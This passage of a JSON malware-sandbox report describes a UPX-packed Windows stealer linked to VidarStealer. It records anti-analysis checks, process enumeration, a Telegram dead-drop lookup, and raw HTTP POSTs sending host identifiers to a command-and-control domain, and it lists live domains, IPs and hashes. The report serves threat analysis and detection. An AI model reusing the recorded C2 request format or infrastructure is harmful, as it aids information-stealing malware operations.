Chrome/150.0.0.0 YaBrowser/26.8.0.0\" (Indicator: \"user-agent: \"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\" in Source: 00000000-00003700.00000000.177612.1C160000.00000004.mdmp","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"\"GET /scii0n HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nHost: t.me\" Response ==> HTTP/1.1 200 OK\nServer: nginx/1.30.1\nDate: Mon\n 12 Oct 2026 23:24:09 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 4433\nConnection: keep-alive\nSet-Cookie: stel_ssid=dc1854da54ec1b6c40_870443896862033323; expires=Tue\n 13 Oct 2026 23:24:09 GMT; path=/; samesite=None; secure; HttpOnly\nPragma: no-cache\nCache-control: no-store\nX-Frame-Options: ALLOW-FROM https://web.telegram.org\nContent-Security-Policy: frame-ancestors https://web.telegram.org\nContent-Encoding: gzip\nStrict-Transport-Security: max-age=35768000 with response body ==>3C21444F43545950452068746D6C3E0A3C68746D6C3E0A20203C686561643E0A202020203C6D65746120636861727365743D227574662D38223E0A202020203C.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 75D80000\n \"file.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 74A00000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"file.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 784A0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"file.exe\" was detected as \"UPX\" and name: \"Packer\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"file.exe\" has an executable section named \"UPX0\"\n \"file.exe\" has an executable section named \"UPX1\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"file.exe\" has an writable section named \"UPX0\"\n \"file.exe\" has an writable section named \"UPX1\"\n \"file.exe\" has an writable section named \"UPX2\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"file.exe\" file has an entrypoint instructions - \"push\trbx,push\trsi,push\trdi,push\trbp,lea\trsi, [rip - 0x59d36],lea\trdi, [rsi - 0x23f025],push\trdi,xor\tebx, ebx,xor\tecx, ecx,or\trbp, 0xffffffffffffffff,call\t0x350299dc0,add\tebx, ebx,je\t0x350299d76,repz ret\t,mov\tebx, dword ptr [rsi],sub\trsi, -4,adc\tebx, ebx,mov\tdl, byte ptr [rsi],repz ret\t,lea\trax, [rdi + rbp],cmp\tecx, 5,mov\tdl, byte ptr [rax],jbe\t0x350299dae,cmp\trbp, -4,ja\t0x350299dae,sub\tecx, 4,mov\tedx, dword ptr [rax],add\trax, 4,sub\tecx, 4,mov\tdword ptr [rdi], edx,lea\trdi, [rdi + 4],jae\t0x350299d96,add\tecx, 4,mov\tdl, byte ptr [rax],je\t0x350299dbe,inc\trax,mov\tbyte ptr [rdi], dl,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \"UPX0\" is \"0x23f000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"file.exe\" has high imagebase \"0x350000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"t.me\"\n \"v75.666iapk.net\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$2b","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"file.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"file.exe\" queries basic process information of the \"C:\\file.exe\" (UID: 3700)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"file.exe\" reads file \"c:\\file.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"file.exe\" trying to touch file \"C:\\Windows\\System32\\apphelp.dll\"\n \"file.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\apphelp.dll\"\n \"file.exe\" trying to touch file \"C:\\file.exe\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\ntdll.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\kernel32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"file.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"file.exe\" trying to touch file \"C:\\FLTLIB.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\System32\\fltLib.dll\"\n \"file.exe\" trying to touch file \"C:\\WINDOWS\\SYSTEM32\\FLTLIB.DLL\"\n \"file.exe\" trying to touch file \"C:\\MSVCP140.DLL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"file.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"file.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"1f91c17c540\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}\n \"file.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"1f91c1b9ef0\"\n \"dwHeadersLength\": \"0\"\n \"lpOptional\": \"------0c66491730f40cd2d794Content-Disposition: form-data; name=\\\"hwid\\\"23EBD35BE7F8D3C20DA4-d27478a5-2058-461598A------0c66491730f40cd2d794Content-Disposition: form-data; name=\\\"build_id\\\"d852ede598d72f2b3a4050576466ec62------0c66491730f40cd2d794\"\n \"dwOptionalLength\": \"345\"\n \"dwTotalLength\": \"345\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"file.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1f91c17c540\"\n \"lpReserved\": \"0\"}\n \"file.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1f91c1b9ef0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"GET /scii0n\"\n Found http requests in header \"POST /cm\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$30","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"2.5.29.31\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.17\"\n \"2.5.29.15\"\n \"2.5.29.19\"\n \"2.5.29.14\"\n \"2.5.29.32\"\n \"2.5.29.1\"\n \"2.5.4.3\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$31","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"GET /scii0n HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html\napplication/xhtml+xml\napplication/xml;q=0.9\n*/*;q=0.8\nAccept-Encoding: gzip\n deflate\nAccept-Language: en-US\nen;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nHost: t.me\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 35ffbe2daba5f224631a493c243351ec","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://t.me/scii0n\n Found HTTPS POST request to https://v75.666iapk.net/cm","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"v75.666iapk.net\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"149.154.167.99\" on port \"443\"\n HTTPS traffic to \"104.21.77.111\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \":\\WINDOWS\\system32\\kerberos.DLL\" (Indicator: \"kerberos\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"icrosoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"Microsoft Kerberos V1.0\" (Indicator: \"kerberos\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"AES#w\" (Indicator: \"aes\"; File: \"file.exe\")\n Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")\n Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00003700.00000000.177612.1C160000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"file.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"file.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"file.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\LOCAL SETTINGS\\MUICACHE\\2FD\\52C64B7E\"; Key: \"LANGUAGELIST\"; Value: \"en-US\")\n \"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\"; Key: \"TS_FA49926A\"; Value: \"461598A\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00003700.00000000.177612.1C160000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"file.exe\" has a section named \"UPX0\"\n \"file.exe\" has a section named \"UPX1\"\n \"file.exe\" has a section named \"UPX2\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"file.exe\" has section name UPX1 with entropy \"7.862120369056499\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\file.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"10/27 Antivirus vendors marked sample as malicious (37% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$33","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 149.154.167.99 on port 443 is sent without HTTP header\n TCP traffic to 104.21.77.111 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – Anomalous PE file structure","description":"YARA signature for null IAT Directory of PE file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.013","relevance":1,"id":"yara-153","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"\"file.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter smss.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter csrss.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter wininit.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter winlogon.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter services.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter lsass.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter svchost.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter fontdrvhost.exe\" (UID: 00000000-00003700)\n \"file.exe\" called \"Process32NextW with parameter dwm.exe\" (UID: 00000000-00003700)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"$34","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$35","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"file.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetProcAddress\n VirtualProtect\n LoadLibraryA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (D)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /cm HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nContent-Length: 345\nHost: v75.666iapk.net\" with payload:==> \"------0c66491730f40cd2d794Content-Disposition: form-data; name=\"hwid\"23EBD35BE7F8D3C20DA4-d27478a5-2058-461598A------0c66491730f40cd2d794Content-Disposition: form-data; name=\"build_id\"d852ede598d72f2b3a4050576466ec62------0c66491730f40cd2d794Content-Disposition: form-data; name=\"format\"json------0c66491730f40cd2d794--\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"PE file has a section name known to be used by a packer/protector"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"intel_graph":{"map":{"Adversary:2c7506f6c4aa247d7f6275be52f238ba76ef3f2094a4a826ffba0f00e89549bd":{"type":"Adversary","value":"VICE SPIDER","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Adversary:4836d8b3f07a3cbb115c58849599240d932f0d90963f86bf5ce29d9e1ba7c548":{"type":"Adversary","value":"HOOK SPIDER","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Domain:91830aeeac8ac9919cb41671b87257759375a979aef16a9e2c46942314669d0a":{"type":"Domain","value":"steamcommunity.com","verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},"Domain:t.me":{"type":"Domain","value":"t.me"},"Domain:v75.666iapk.net":{"type":"Domain","value":"v75.666iapk.net"},"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e":{"type":"File","value":"08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration","Detected relationship with a Threat VidarStealer","confirmed relationship with a Threat","confirmed relationship with an Adversary HOOK SPIDER","confirmed relationship with an Adversary VICE SPIDER"]},"filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 3 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba":{"type":"File","value":"1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba","filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 4 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c":{"type":"File","value":"b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration","Detected relationship with a Threat VidarStealer","confirmed relationship with a Threat","confirmed relationship with an Adversary HOOK SPIDER","confirmed relationship with an Adversary VICE SPIDER"]},"filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 3 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2":{"type":"File","value":"f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration","Detected relationship with a Threat VidarStealer","confirmed relationship with a Threat","confirmed relationship with an Adversary HOOK SPIDER","confirmed relationship with an Adversary VICE SPIDER"]},"filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 3 